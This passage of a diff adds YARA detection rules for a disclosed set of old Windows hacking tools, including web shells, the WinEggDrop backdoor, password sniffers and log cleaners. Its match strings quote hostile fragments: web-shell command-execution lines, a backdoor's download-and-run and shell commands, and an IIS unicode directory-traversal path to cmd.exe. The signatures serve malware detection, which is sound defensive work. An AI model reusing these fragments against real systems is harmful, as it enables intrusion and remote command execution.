+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
+	strings:
+		$s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
+		$s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
+		$s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
+		$s8 = ";  Please, translate text only after simbol '='" fullword ascii
+		$s19 = "= Compress with ASPack" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_EDIR {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
+	strings:
+		$s1 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s3 = "if Request.Cookies(\"password\")=\"" ascii
+		$s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
+		$s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$s19 = "whichdir=Request(\"path\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_filespy {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file filespy.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 50
+		hash = "89d8490039778f8c5f07aa7fd476170293d24d26"
+	strings:
+		$s0 = "Hit [Enter] to begin command mode..." fullword ascii
+		$s1 = "If you are in command mode," fullword ascii
+		$s2 = "[/l] lists all the drives the monitor is currently attached to" fullword ascii
+		$s9 = "FileSpy.exe" fullword wide
+		$s12 = "ERROR starting FileSpy..." fullword ascii
+		$s16 = "exe\\filespy.dbg" fullword ascii
+		$s17 = "[/d <drive>] detaches monitor from <drive>" fullword ascii
+		$s19 = "Should be logging to screen..." fullword ascii
+		$s20 = "Filmon:  Unknown log record type" fullword ascii
+	condition:
+		7 of them
+}
+
+rule ByPassFireWall_zip_Folder_Ie {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Ie.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d1b9058f16399e182c9b78314ad18b975d882131"
+	strings:
+		$s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule EditKeyLogReadMe {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
+	strings:
+		$s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
+		$s1 = "WinEggDrop.DLL" fullword ascii
+		$s2 = "nc.exe" fullword ascii
+		$s3 = "KeyLog.exe" fullword ascii
+		$s4 = "EditKeyLog.exe" fullword ascii
+		$s5 = "wineggdrop" fullword ascii
+	condition:
+		3 of them
+}
+
+rule PassSniffer_zip_Folder_readme {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file readme.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
+	strings:
+		$s0 = "PassSniffer.exe" fullword ascii
+		$s1 = "POP3/FTP Sniffer" fullword ascii
+		$s2 = "Password Sniffer V1.0" fullword ascii
+	condition:
+		1 of them
+}
+
+rule sig_238_gina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file gina.reg"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
+	strings:
+		$s0 = "\"gina\"=\"gina.dll\"" fullword ascii
+		$s1 = "REGEDIT4" fullword ascii
+		$s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii
+	condition:
+		all of them
+}
+
+rule splitjoin {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
+	strings:
+		$s0 = "Not for distribution without the authors permission" fullword wide
+		$s2 = "Utility to split and rejoin files.0" fullword wide
+		$s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
+		$s19 = "SplitJoin" fullword wide
+	condition:
+		all of them
+}
+
+rule EditKeyLog {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
+	strings:
+		$s1 = "Press Any Ke" fullword ascii
+		$s2 = "Enter 1 O" fullword ascii
+		$s3 = "Bon >0 & <65535L" fullword ascii
+		$s4 = "--Choose " fullword ascii
+	condition:
+		all of them
+}
+
+rule PassSniffer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
+	strings:
+		$s2 = "Sniff" fullword ascii
+		$s3 = "GetLas" fullword ascii
+		$s4 = "VersionExA" fullword ascii
+		$s10 = " Only RuntUZ" fullword ascii
+		$s12 = "emcpysetprintf\\" fullword ascii
+		$s13 = "WSFtartup" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspfile2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
+	strings:
+		$s0 = "response.write \"command completed success!\" " fullword ascii
+		$s1 = "for each co in foditems " fullword ascii
+		$s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
+		$s19 = "<title>Hello! Welcome </title>" fullword ascii
+	condition:
+		all of them
+}
+
+rule UnPack_rar_Folder_InjectT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
+	strings:
+		$s0 = "%s -Install                          -->To Install The Service" fullword ascii
+		$s1 = "Explorer.exe" fullword ascii
+		$s2 = "%s -Start                            -->To Start The Service" fullword ascii
+		$s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
+		$s4 = "The Port Is Out Of Range" fullword ascii
+		$s7 = "Fail To Set The Port" fullword ascii
+		$s11 = "\\psapi.dll" fullword ascii
+		$s20 = "TInject.Dll" fullword ascii
+
+		$x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
+		$x2 = "injectt.exe" fullword ascii
+	condition:
+		( 1 of ($x*) ) and ( 3 of ($s*) )
+}
+
+rule Jc_WinEggDrop_Shell {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
+	strings:
+		$s0 = "Sniffer.dll" fullword ascii
+		$s4 = ":Execute net.exe user Administrator pass" fullword ascii
+		$s5 = "Fport.exe or mport.exe " fullword ascii
+		$s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
+		$s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
+		$s15 = ": Del www.exe                   " fullword ascii
+		$s20 = ":Dir *.exe                    " fullword ascii
+	condition:
+		2 of them
+}
+
+rule aspbackdoor_asp1 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp1.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
+	strings:
+		$s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
+		$s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
+		$s6 = "set rs=conn.execute (sql)%> " fullword ascii
+		$s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
+		$s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
+		$s15 = "sql=\"select * from scjh\" " fullword ascii
+	condition:
+		all of them
+}
+
+rule QQ_zip_Folder_QQ {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file QQ.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
+	strings:
+		$s0 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s1 = "EMAIL:haoq@neusoft.com" fullword wide
+		$s4 = "QQ2000b.exe" fullword wide
+		$s5 = "haoq@neusoft.com" fullword ascii
+		$s9 = "QQ2000b.exe" fullword ascii
+		$s10 = "\\qq2000b.exe" fullword ascii
+		$s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
+		$s17 = "SOFTWARE\\HAOQIANG\\" fullword ascii
+	condition:
+		5 of them
+}
+
+rule UnPack_rar_Folder_TBack {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
+	strings:
+		$s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
+		$s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
+		$s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
+		$s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
+		$s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
+		$s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
+		$s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
+		$s8 = "Shell                                 -->Get A Shell" fullword ascii
+		$s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
+		$s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
+		$s13 = "Online                                -->List All Connected IP" fullword ascii
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
+		$s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
+		$s18 = "Execute Program                       -->Execute A Program" fullword ascii
+		$s19 = "Reboot                                -->Reboot The System" fullword ascii
+		$s20 = "Password Sniffering Is Not Running" fullword ascii
+	condition:
+		4 of them
+}
+
+rule sig_238_cmd_2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
+	strings:
+		$s0 = "Process child = Runtime.getRuntime().exec(" ascii
+		$s1 = "InputStream in = child.getInputStream();" fullword ascii
+		$s2 = "String cmd = request.getParameter(\"" ascii
+		$s3 = "while ((c = in.read()) != -1) {" fullword ascii
+		$s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+	condition:
+		all of them
+}
+
+rule RangeScan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
+	strings:
+		$s0 = "RangeScan.EXE" fullword wide
+		$s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
+		$s9 = "Produced by isn0" fullword ascii
+		$s10 = "RangeScan" fullword wide
+		$s20 = "%d-%d-%d %d:%d:%d" fullword ascii
+	condition:
+		3 of them
+}
+
+rule XYZCmd_zip_Folder_Readme {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Readme.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
+	strings:
+		$s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
+		$s20 = "XYZCmd V1.0" fullword ascii
+	condition:
+		all of them
+}
+
+rule ByPassFireWall_zip_Folder_Inject {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Inject.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
+	strings:
+		$s6 = "Fail To Inject" fullword ascii
+		$s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
+		$s11 = " Successfully" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_sqlcmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 40
+		hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
+	strings:
+		$s0 = "Permission denial to EXEC command.:(" fullword ascii
+		$s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
+		$s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
+		$s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
+		$s6 = "SqlCmd2.exe Inside Edition." fullword ascii
+		$s7 = "Http://www.patching.net  2000/12/14" fullword ascii
+		$s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii
+	condition:
+		4 of them
+}
+
+rule ASPack_ASPACK {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
+	strings:
+		$s0 = "ASPACK.EXE" fullword wide
+		$s5 = "CLOSEDFOLDER" fullword wide
+		$s10 = "ASPack compressor" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_2323 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file 2323.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
+	strings:
+		$s0 = "port - Port to listen on, defaults to 2323" fullword ascii
+		$s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
+		$s3 = "Failed to execute shell" fullword ascii
+		$s5 = "/h   - Hide Window" fullword ascii
+		$s7 = "Accepted connection from client at %s" fullword ascii
+		$s9 = "Error %d: %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule Jc_ALL_WinEggDropShell_rar_Folder_Install_2 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Install.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "95866e917f699ee74d4735300568640ea1a05afd"
+	strings:
+		$s1 = "http://go.163.com/sdemo" fullword wide
+		$s2 = "Player.tmp" fullword ascii
+		$s3 = "Player.EXE" fullword wide
+		$s4 = "mailto:sdemo@263.net" fullword ascii
+		$s5 = "S-Player.exe" fullword ascii
+		$s9 = "http://www.BaiXue.net (" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_TFTPD32 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
+	strings:
+		$s0 = " http://arm.533.net" fullword ascii
+		$s1 = "Tftpd32.hlp" fullword ascii
+		$s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
+		$s3 = "TFTPD32 -- " fullword wide
+		$s4 = "%d -- %s" fullword ascii
+		$s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
+		$s12 = "TftpPort" fullword ascii
+		$s13 = "Ttftpd32BackGround" fullword ascii
+		$s17 = "SOFTWARE\\TFTPD32" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_iecv {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file iecv.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "6e6e75350a33f799039e7a024722cde463328b6d"
+	strings:
+		$s1 = "Edit The Content Of Cookie " fullword wide
+		$s3 = "Accessories\\wordpad.exe" fullword ascii
+		$s4 = "gorillanation.com" fullword ascii
+		$s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
+		$s12 = "http://nirsoft.cjb.net" fullword ascii
+	condition:
+		all of them
+}
+
+rule Antiy_Ports_1_21 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
+	strings:
+		$s0 = "AntiyPorts.EXE" fullword wide
+		$s7 = "AntiyPorts MFC Application" fullword wide
+		$s20 = " @Stego:" fullword ascii
+	condition:
+		all of them
+}
+
+rule perlcmd_zip_Folder_cmd {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
+	strings:
+		$s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
+		$s1 = "s/%20/ /ig;" fullword ascii
+		$s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
+		$s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
+		$s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
+		$s6 = "$execthis = $_;" fullword ascii
+		$s7 = "system($execthis);" fullword ascii
+		$s12 = "s/%2f/\\//ig;" fullword ascii
+	condition:
+		6 of them
+}
+
+rule aspbackdoor_asp3 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file asp3.txt"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
+	strings:
+		$s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
+		$s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
+		$s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
+		$s14 = " Windows NT " fullword ascii
+		$s16 = " WIndows 2000 " fullword ascii
+		$s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
+		$s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
+		$s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_FPipe {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+	strings:
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s3 = " -s    - outbound source port number" fullword ascii
+		$s5 = "http://www.foundstone.com" fullword ascii
+		$s20 = "Attempting to connect to %s port %d" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_concon {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file concon.com"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
+	strings:
+		$s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_regdll {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file regdll.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
+	strings:
+		$s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
+		$s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
+		$s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
+		$s5 = "Public Property Get oFS()" fullword ascii
+	condition:
+		all of them
+}
+
+rule CleanIISLog {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+	strings:
+		$s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
+		$s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
+		$s8 = "CleanIISLog Ver" fullword ascii
+		$s9 = "msftpsvc" fullword ascii
+		$s10 = "Fatal Error: MFC initialization failed" fullword ascii
+		$s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
+		$s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
+		$s16 = "Service %s Stopped." fullword ascii
+		$s20 = "Process Log File %s..." fullword ascii
+	condition:
+		5 of them
+}
+
+rule sqlcheck {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
+	strings:
+		$s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
+		$s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
+		$s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
+		$s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
+		$s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii
+	condition:
+		3 of them
+}
+
+rule sig_238_RunAsEx {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
+	strings:
+		$s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
+		$s8 = "cmd.bat" fullword ascii
+		$s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
+		$s11 = "%s Execute Succussifully." fullword ascii
+		$s12 = "winsta0" fullword ascii
+		$s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii
+	condition:
+		4 of them
+}
+
+rule sig_238_nbtdump {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
+	strings:
+		$s0 = "Creation of results file - \"%s\" failed." fullword ascii
+		$s1 = "c:\\>nbtdump remote-machine" fullword ascii
+		$s7 = "Cerberus NBTDUMP" fullword ascii
+		$s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
+		$s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
+		$s19 = "%s's password is %s</H3>" fullword wide
+		$s20 = "%s's password is blank</H3>" fullword wide
+	condition:
+		5 of them
+}
+
+rule sig_238_Glass2k {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
+	strings:
+		$s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
+		$s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
+		$s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
+		$s4 = "Glass2k.exe" fullword wide
+		$s7 = "NeoLite Executable File Compressor" fullword ascii
+	condition:
+		all of them
+}
+
+rule SplitJoin_V1_3_3_rar_Folder_3 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "21409117b536664a913dcd159d6f4d8758f43435"
+	strings:
+		$s2 = "ie686@sohu.com" fullword ascii
+		$s3 = "splitjoin.exe" fullword ascii
+		$s7 = "SplitJoin" fullword ascii
+	condition:
+		all of them
+}
+
+rule aspbackdoor_EDIT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
+	strings:
+		$s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
+		$s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
+		$s3 = "response.write \"<a href='index.asp'>" fullword ascii
+		$s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
+		$s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
+		$s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
+		$s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii
+	condition:
+		5 of them
+}
+
+rule aspbackdoor_entice {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file entice.asp"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
+	strings:
+		$s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
+		$s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
+		$s4 = "conndb.Execute(sqllanguage)" fullword ascii
+		$s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
+		$s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule FPipe2_0 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "891609db7a6787575641154e7aab7757e74d837b"
+	strings:
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = " -s    - outbound connection source port number" fullword ascii
+		$s3 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s4 = "http://www.foundstone.com" fullword ascii
+		$s19 = "FPipe" fullword ascii
+	condition:
+		all of them
+}
+
+rule InstGina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "5317fbc39508708534246ef4241e78da41a4f31c"
+	strings:
+		$s0 = "To Open Registry" fullword ascii
+		$s4 = "I love Candy very much!!" ascii
+		$s5 = "GinaDLL" fullword ascii
+	condition:
+		all of them
+}
+
+rule ArtTray_zip_Folder_ArtTray {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
+	strings:
+		$s0 = "http://www.brigsoft.com" fullword wide
+		$s2 = "ArtTrayHookDll.dll" fullword ascii
+		$s3 = "ArtTray Version 1.0 " fullword wide
+		$s16 = "TRM_HOOKCALLBACK" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_findoor {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file findoor.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
+	strings:
+		$s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
+		$s8 = "PASS hacker@hacker.com" fullword ascii
+		$s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
+		$s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
+		$s11 = "http://isno.yeah.net" fullword ascii
+	condition:
+		4 of them
+}
+
+rule aspbackdoor_ipclear {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
+	strings:
+		$s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
+		$s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
+		$s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
+		$s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
+		$s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+	condition:
+		all of them
+}
+
+rule WinEggDropShellFinal_zip_Folder_InjectT {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
+	strings:
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "2TInject.Dll" fullword ascii
+		$s2 = "Windows Services" fullword ascii
+		$s3 = "Findrst6" fullword ascii
+		$s4 = "Press Any Key To Continue......" fullword ascii
+	condition:
+		all of them
+}
+
+rule sig_238_rshsvc {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file rshsvc.bat"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "fb15c31254a21412aecff6a6c4c19304eb5e7d75"
+	strings:
+		$s0 = "if not exist %1\\rshsetup.exe goto ERROR2" fullword ascii
